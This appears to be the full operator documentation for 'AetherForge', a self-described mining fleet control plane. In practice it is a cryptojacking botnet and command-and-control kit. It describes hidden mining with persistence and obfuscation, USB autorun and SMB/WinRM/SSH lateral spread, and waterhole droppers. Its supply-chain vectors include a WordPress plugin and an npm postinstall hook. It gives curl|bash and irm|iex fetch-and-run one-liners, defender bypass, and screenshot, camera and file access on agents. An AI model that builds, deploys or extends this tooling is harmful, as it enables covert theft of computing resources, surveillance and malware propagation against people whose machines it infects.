Overview — What is AetherForge?

AetherForge is a self-hosted mining control plane for machines you own or administer. One control PC runs the Go server on port 8989; a React command deck shows live fleet stats; cross-platform worker agents mine Monero (CPU) and optionally Ravencoin (GPU), phone home over WebSocket, and accept remote commands from the Crucible terminal.

Unlike cloud pool dashboards, you bake configuration at forge time — wallet, pool, server URL, stealth, persistence, USB spread, fusion packaging — then distribute a single binary or ZIP. The server proxies Stratum to your pool, stores fleet state in SQLite, and gates access with HTTP Basic auth plus a per-fleet secret baked into every agent.

The workflow is: Calibrate (Settings) → Forge (Builder) → deploy once per worker → monitor on Command Deck and Fleet Roster. Optional layers include prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer WireGuard multi-hop routing.

Architecture layers

Key paths

• Server config: data/config.json
• Fleet database: data/miner.db
• User credentials: data/users.json (bcrypt); first-run passwords in data/login-credentials.json
• Forged builds archive: data/builds/{build-id}/
• Dashboard build (served): server/webroot/
• Agent source: agent/

Quick Start

The fastest path on a Windows control PC is devrun.bat at the repo root. It installs Go and Node if missing, builds the React dashboard, compiles bin\miner-server.exe, copies server\web\dist → server\webroot, and starts the server. The browser opens http://localhost:8989.

First run creates admin and comrade accounts with random passwords printed in the console and saved to data/login-credentials.json. Sign in, open Calibrate, set wallet + pool + public URL, then Forge a worker pointing at your LAN IP or tunnel URL.

devrun.bat (development)

devrun.bat
# → http://localhost:8989
# Console shows first-run passwords

Manual build

cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data

Docker (Tier 2 CI / Linux agent)

For isolated server + Linux agent regression without a Windows VM, use the Docker compose stack. Server listens on host port 18989; credentials are testuser / testpass (see docker/data/users.json).

docker compose -f docker/docker-compose.yml up --build
# Dashboard: http://localhost:18989
# Teardown: docker compose -f docker/docker-compose.yml down --rmi local -v

Full notes: docker/README.md. Agent container has no internet egress — mines via server-broadcast jobs only.

Portable USB deck

Run pack-usb.bat to build usb\AetherForge.exe with bundled webroot, agent source, and Go toolchain. Copy usb\ to a USB drive; double-click LAUNCH.bat on any Windows PC. See the USB Portable Deck section for details.

Network URL in Forge

Workers auto-convert http(s):// → ws(s)://…/ws/agent. Only outbound access from workers is required.

Dashboard

The React command deck is the operator-facing UI. After login, the main routes cover fleet overview, agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer, and Calibrate settings. Advanced mode unlocks matrix rain overlay, AI activity panel, and extra forge options.

Live data flows over /ws/dashboard using a one-time ticket from POST /api/v1/auth/ws-ticket. Fleet health score (0–100) weights online percentage, accept rate, pool status, and hashrate. The 3D topology map (React Three Fiber) orbits agents around the server node.

Command Deck (home)

• Fleet hashrate gauges, CPU/RAM, share feed, XMR price (CoinGecko, 10 min cache)
• Contribution map with USD/day estimates; underperformer list (<70% median)
• OS/arch breakdown, LAN group view by /24 subnet
• Monero and Ravencoin sections (separate CPU vs GPU stats)
• Install funnel — agents per build over 7 days, USB-spread flag
• Operator audit strip — last forge, commands, config saves

Fleet Roster (Agents)

• Compact rows — click to expand inline details and remote action strip
• Fleet Groups — multi-select, named colour-coded groups; selectable in Crucible
• Remote control: pause/resume/restart miner, sysinfo, screenshot, live view, camera, file browser (Windows)
• Power: reboot, shutdown, Wake-on-LAN (UDP magic packet to stored MAC)
• Live stats ticker every 5s while agent online; offline banner disables controls

Crucible (Command Terminal)

Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status, credential vault list (names only), secure wipe, and port-forward matrix.

Emberwake

Dashboard tab at /emberwake — campaign link builder, A/B ?pin= rotation, spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for curl|bash, irm|iex, and public download URLs with ?c= campaign tags.

Path Tracer

Multi-hop WireGuard path builder. Hop 1 gets client peer 10.66.0.1/32; multi-hop adds reverse peers on middle/exit hops. Sessions auto-expire after 2 hours with wg_teardown. Windows agents may auto-download WireGuard on first use if not pre-installed.

Calibrate (Settings)

• Wallet, pool, public URL, users, fleet secret rotation
• Telegram + SMTP alert notifications and thresholds
• Fleet task scheduler — on_connect, interval, cron
• Cloudflare tunnel token, tunnel defaults
• public_builds_enabled — expose all builds on unauthenticated public API

Forge / Builder

The Forge page compiles per-target worker binaries via POST /api/v1/builder/build. Preflight checks wallet, server URL, pool, fusion payload, and AI settings before compile. Blueprints save/load profiles for re-forge across machines (confirmation required before re-running a saved blueprint).

Outputs include single-platform exe, Spread Kit ZIP, Universal ZIP (all platforms), prep fusion, and movie fusion packages. Build manager lists downloads, LAN QR codes, pin/public flags, and dropper URLs.

Target profiles

Forge simple mode — spread profile chips

• Web Drop — dropper landing + install scripts
• Desktop Fusion — prep or movie bundle
• LAN Kindling — SMB / SSH lateral spread flags
• Crucible Ops — remote aggressive ops enabled

Key forge settings — stealth & persistence

• Thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog
• USB Propagation, Share Spread, LAN Auto-Spread
• Backup pools and backup server URLs (advanced)
• Garble obfuscation, Sigil scramble, Authenticode / osslsigncode signing
• Connection profile — beacon interval, jitter, kill-after-days, HTTPS beacon fallback
• Build size limits enforced via checkBuildSizeFile on universal/spread-kit/fusion ZIPs

Output locations

Cancel in-flight compile

DELETE /api/v1/builder/cancel/{token}

Spread & Campaigns

AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB / WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign attribution uses ?c=slug on dropper and public download URLs; agents report AETHER_CAMPAIGN on connect.

Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned build chains. See also SPREAD_TECHNIQUES.md for the full technique matrix.

Dropper endpoints (unauthenticated)

USB perpetual propagation

Enable USB Propagation at forge time. Within 8 seconds of USB insert:

1. Drop agent into hidden folder (~RECYCLER, System Volume Information, etc.)
2. Write autorun.inf, folder-icon LNK, and SETUP.BAT fallback
3. Create decoy folder (Documents / Photos)
4. Install WMI event subscription for future USB mounts

LAN spread

• Share Spread — copy to mounted network shares + WinRM lateral install (Windows)
• LAN Auto-Spread — SMB admin$ / SSH lateral movement (gated behind C2 auth)
• ARP-first subnet scan via deploy/subnet.go — IPv6 /64 + IPv4 /24

Emberwake / waterhole kit

• Campaign War Room funnel board: GET /api/v1/emberwake/war-room?days=7 — hits, downloads, first_beacon, mining, hashrate per ?c= slug; Emberwake funnel cards + stats table; live WS tick every 30s (emberwake_war_room)
• Legacy hit totals: GET /api/v1/emberwake/campaigns
• Spread-kit web export: POST /api/v1/builder/spread-kit-export (auth)
• WordPress plugin ZIP: POST /api/v1/builder/wordpress-plugin-export (auth)
• npm helper ZIP: POST /api/v1/builder/npm-helper-export (auth)
• Public builds: pinned + public-flagged + latest N (or all when public_builds_enabled)
• Login page drawer: GET /api/v1/public/builds — no credentials required

Example one-liners

# Linux server
curl -sL https://your.site/install.sh | bash

# Windows Server
irm https://your.site/install.ps1 | iex

# Pinned build + campaign
https://your.site/get?pin={build_id}&c=docs

WordPress plugin supply chain (owned site)

Export a ready-to-upload plugin ZIP from Emberwake → Supply-chain export wizard (or quick export). Templates live in templates/wordpress-plugin/. The plugin is hosted on a WordPress installation you operate — it is not submitted to wordpress.org or any third-party plugin directory.

High-level flow

1. Forge and pin the build you want for this wave.
2. Emberwake: set server URL, site name (plugin slug), optional campaign override.
3. Download ZIP → Plugins → Add New → Upload Plugin on your owned WP host.
4. Activate — admins see an update notice linking to /get?c=wp-{site} on your command deck.
5. Track connects under Emberwake → Campaign hits (wp-{site} slug).

Nitty-gritty

ZIP layout: {slug}/{slug}.php + readme.txt. The main PHP file defines AF_HELPER_DOWNLOAD, registers an admin notice, and adds a Tools page documenting the operator-owned model. End users still confirm off-site downloads — WordPress does not silently sideload binaries from your server.

POST /api/v1/builder/wordpress-plugin-export
{
  "build_id": "uuid-from-forge",
  "server_url": "https://deck.example:8989",
  "site_name": "my-blog",
  "campaign": "wp-my-blog"
}

Pair with the static spread kit (/spread/) when you want a full waterhole page on the same origin; the plugin path is for update-check / admin-notice distribution on CMS you already control.

Hosting checklist

• Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.
• Unzip locally — layout is {slug}/{slug}.php + readme.txt.
• WordPress Admin → Plugins → Add New → Upload Plugin → choose the ZIP.
• Install Now → Activate on your owned host (not wordpress.org).
• Log in as admin — confirm the notice links to /get?c=wp-{site} on your command deck.
• Optionally open Tools → {site} to verify campaign slug and download URL.
• Track funnel under Emberwake → Campaign War Room (wp-{site} slug).

npm postinstall helper (your packages only)

Export a private npm package skeleton from Emberwake → Export npm package template ZIP. Templates live in templates/npm-helper-package/. The postinstall script curls your command-deck install.sh with AETHER_CAMPAIGN set — for registries and projects you publish and authorize.

High-level flow

1. Emberwake: set server URL, campaign slug, optional pinned build.
2. Unzip → adjust package.json name if needed.
3. Publish to a registry you control (private npm, Verdaccio, GitHub Packages).
4. Add as dependency only in authorized CI/dev environments.
5. npm install runs postinstall → install.sh?c=…&pin=… → agent checks in.

Nitty-gritty

• scripts/postinstall.cjs — Unix uses curl | bash; Windows uses irm | iex.
• Default package name: @aetherforge/{campaign}-helper (scoped, private flag in template).
• API: POST /api/v1/builder/npm-helper-export with build_id, server_url, campaign.

Out of scope: typosquatting public npm packages or hijacking third-party dependency chains. This template is for purple-team / lab pipelines where you own the registry and the machines that run npm install.

POST /api/v1/builder/npm-helper-export
{
  "build_id": "uuid-from-forge",
  "server_url": "https://deck.example:8989",
  "campaign": "ci-bootstrap"
}

Hosting checklist

• Download ZIP from Emberwake → Supply-chain export wizard (step 3) or quick export.
• Unzip — verify package.json name (@aetherforge/{campaign}-helper) and scripts/postinstall.cjs.
• Adjust scope/name if your private registry requires a different namespace.
• npm publish --access restricted (or equivalent) to a registry you operate.
• Add the package as a dependency only in authorized CI/dev repos.
• Run npm install in a test environment — confirm postinstall curls install.sh?c=…&pin=….
• Track campaign slug in Emberwake → Campaign War Room after first agent beacon.

Agent — Windows / Linux / macOS

The worker agent is compiled on demand from agent/. It connects via WebSocket /ws/agent using a fleet-secret auth frame, falls back to HTTPS beacon after configurable minutes if WebSocket is down, and mines silently with no visible CMD windows.

All child processes use CREATE_NO_WINDOW / detached flags. The only user-visible event on first launch is typically a single UAC prompt (Windows) for persistence and firewall rules.

Platform matrix

Staged modules (runtime feature packs)

Thin agents can enable forge flags at runtime without re-forging. The server stores signed JSON manifests in data/modules/. Default packs:

• Crucible Ops (crucible_ops) — remote_aggressive for dashboard tunnels, scans, firewall, defender bypass
• Spread Pack (spread) — auto_spread + usb_spread for lateral and passive propagation
• GPU Miner (gpu) — gpu_enabled for KawPoW RVN when wallet and hardware are present

Each manifest includes display_name, summary, description, capabilities (human-readable list for the dashboard preview), and features (agent flags). Forge operation modes (PathForge, Spread Kit, Crucible Storm, etc.) stay intact — packs are runtime add-ons, not replacements.

UI flow: Calibrate → Staged Modules → pick a pack card → choose target (all online or fleet group) → review preview → Push Crucible Ops to Group X. The server queues fetch_module; the worker downloads GET /api/v1/agent/module/{name} with X-Fleet-Secret, verifies HMAC, applies flags in memory, and emits capabilities_update. The dashboard shows a success toast when agents report updated capabilities.

Fleet policy (server push)

Calibrate → Fleet Policy pushes policy_update over WebSocket (or HTTPS beacon when WS is down): mining_mode, schedule_start/schedule_end, max_cpu_usage_pct, and optional pool host/port overrides. The miner schedule guard and CPU cap update without restart; pool overrides apply to Stratum fallback and local resource guards.

Remote commands (sample)

• Runtime: fetch_module (stage signed pack from server)
• Mining: pause, resume, restart
• Recon: sysinfo, ps, netstat, listen_ports, posture
• Network: connectivity_probe, firewall_*, smb_shares, spread_status
• Files: list_dir, read_file (512 KB cap), upload/download
• Tunnels: tunnel_cloudflared, tunnel_ssh_forward, tunnel_status, tunnel_stop

Agent logs

• Server cache: data/logs/{agent-id}.log
• On worker: %LOCALAPPDATA%/{install-dir}/miner.log (when file_logging enabled)
• API: GET /api/v1/agents/{id}/log?refresh=1 (90s long-poll timeout)

Mining — XMR, RVN/GPU, Pools

CPU mining uses RandomX via pure-Go go-randomx (BSD-3-Clause). Workers submit shares through the server's Stratum proxy — one upstream connection per wallet/host with PaymentID in the pool key to avoid integrated-address collisions. If C2 is unreachable for >30s, agents mine directly to the pool and return to proxy when reconnected.

GPU mining (Windows only) auto-detects vendor at runtime: NVIDIA uses T-Rex (CUDA), AMD uses TeamRedMiner (OpenCL), both on KawPoW for Ravencoin. Local HTTP API polling reports 15s/1m/15m hashrate, temperature, fan speed, and power draw.

Pool configuration

Set primary pool and wallet in Calibrate. Forge bakes these into the agent. Advanced forge supports backup pools as a fallback Stratum list.

Hashrate reporting

• 15s / 1m / 15m rolling averages over WebSocket
• Separate CPU (XMR) and GPU (RVN) channels on dashboard
• Earnings estimator: GET /api/v1/earnings/estimate + SupportXMR live data
• XMR spot price: GET /api/v1/market/xmr (CoinGecko, 10 min cache)

GPU vendor table

Tier 0 mining validation (no C2)

cd agent
go run ./cmd/mine-validate -seconds 20 -threads 2

Alerts & AI (Ollama)

Fleet notifications are configured under Calibrate → Alert Notifications. Telegram bot token and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses the same event matrix. Use Send test notification after save to verify delivery.

Alert events

Ollama AI autonomy

Optional forge flag bakes AI Autonomy into workers. Ollama runs on the control server PC (default http://localhost:11434), not on workers. The worker calls C2 /api/v1/agent/decide → server queries Ollama → tool calls execute on the agent (adjust threads, self-heal, persistence checks). Best combined with self-healing watchdog.

ollama pull llama3.2
# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
# Re-forge after changing — settings are baked into the binary

Security & Auth

The dashboard uses HTTP Basic auth for REST. Session persists in browser storage until tab close; transport blips keep saved credentials with a degraded banner (distinct from 401 logout). WebSocket auth prefers one-time tickets; agents use a fleet secret baked at forge time.

Auth surface

Fleet secret

Random token generated at server start, stored in data/config.json, baked into every forged agent. Rotate via Calibrate → fleet secret rotation (POST /api/v1/server/rotate-secret); existing agents must be re-forged to pick up the new secret. The same secret signs module manifests — agents reject tampered packs when the HMAC does not match.

Users

• data/users.json — bcrypt cost 12
• First-run: admin + comrade with random passwords
• Manage under Calibrate → Users

USB Portable Deck

The portable bundle is a control deck on a stick — separate from agent USB propagation. Run pack-usb.bat from the repo root to produce usb\ with AetherForge.exe, webroot, agent/fusion source, bundled Go toolchain, and starter data/config.json.

Copy the entire usb\ folder to a USB drive. On any Windows PC, double-click LAUNCH.bat — Cloudflare tunnel sidecar starts first, then the server. Dashboard opens at http://localhost:8989 (or the port in data/config.json).

pack-usb.bat steps

1. Build frontend; compile AetherForge.exe
2. Copy webroot, agent source, fusion source, Go toolchain → usb\
3. Create data\ with starter config
4. Sync LAUNCH.bat

LAUNCH.bat behaviour

• Reads port from data/config.json for display
• Launches without -port CLI so config file wins
• Starts cloudflared when token present; sets AF_TUNNEL_EXTERNAL=1 to avoid duplicate spawn
• Default connector token seeded in usb/data/cloudflared-token.txt — replace with your own

API Reference — Key Endpoints

Full route list lives in server/internal/api/router.go. Below are the most-used operator and agent paths. Authenticated routes require Basic auth unless noted.

Troubleshooting & E2E Validation

Use tiered validation before production fleet deployment. Tier 0 proves mining only; Tier 1 runs automated CI; Tier 2 uses Docker or Linux VM for C2 regression; Tier 3 requires a disposable Windows VM for full payload tests (spread, GPU, screenshot, aggressive ops).

Common symptoms

Docker CI mining proof (Tier 2 automated)

On every push, GitHub Actions runs .github/workflows/ci-docker-mining.yml, which builds docker/docker-compose.yml, waits up to 3 minutes, and asserts an online Linux agent reports hashrate > 0 via GET /api/v1/agents and GET /api/v1/dashboard/stats (Basic auth testuser / testpass). Test wallet and fleet secret are fixed in docker/data/config.json and docker/agent-builtin.go.

# Linux / macOS / CI
scripts/ci-docker-mining.sh

# Windows + Docker Desktop
.\scripts\ci-docker-mining.ps1

# Manual compose + assert
docker compose -f docker/docker-compose.yml up --build -d
scripts/ci-docker-mining.sh

E2E orchestration

.\scripts\e2e-validate.ps1              # Tiers 0–1 + VM checklist
.\scripts\e2e-validate.ps1 -PrepareOnly  # isolated data-e2e\ + instructions
.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
.\scripts\ci-docker-mining.ps1           # Docker Linux agent hashrate proof
test.bat                                 # full suite

Tier 3 Windows VM playbook

1. Prepare isolated data-e2e\ with test wallet (see docs/E2E_VALIDATION.md)
2. Forge e2e-validate Windows worker; snapshot VM before run
3. Run agent once; verify Fleet Roster online
4. Crucible checklist: sysinfo, pause/resume, connectivity_probe, get_log, screenshot
5. Revert VM snapshot; archive or delete data-e2e\

Full playbook: docs/E2E_VALIDATION.md in the repo root.

PROBLEMS — Known Limits

Severity-ranked audit lives in PROBLEMS.md at the repo root. Check before large fleet deployment. Many builder and API issues from the 2026-06-04 pass are fixed; below are notable open or deferred items.

Dashboard (deferred)

• Flaky forge progress simulation — cosmetic stage timeline caps at 94% until server responds
• Path Forge / batch fusion test gaps — cancellation and partial failure races
• Dual storage without sync policy — session preferred over local on logout

Fusion / PathForge

• fusion/ package has no direct unit tests (coverage in builder fusion tests)
• Windows agent may auto-download WireGuard on first Path Tracer use — operator should pre-install
• Mac PathForge .command requires server_url + /api/download/agent-mac at runtime

Agent

• macOS: firewall aggressive ops, camera, GPU miner — stubs or partial
• Linux screenshot in headless containers needs xvfb + scrot
• WebSocket/beacon paths are integration-tested via Docker Tier 2

Spread / Emberwake gaps

• spread-kit-web-publisher/ static templates — API export exists; branded HTML kits in progress
• No built-in OAuth redirect helper or package-registry publish pipeline

Server (low)

• db.New ignores MkdirAll failure

See PROBLEMS.md for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).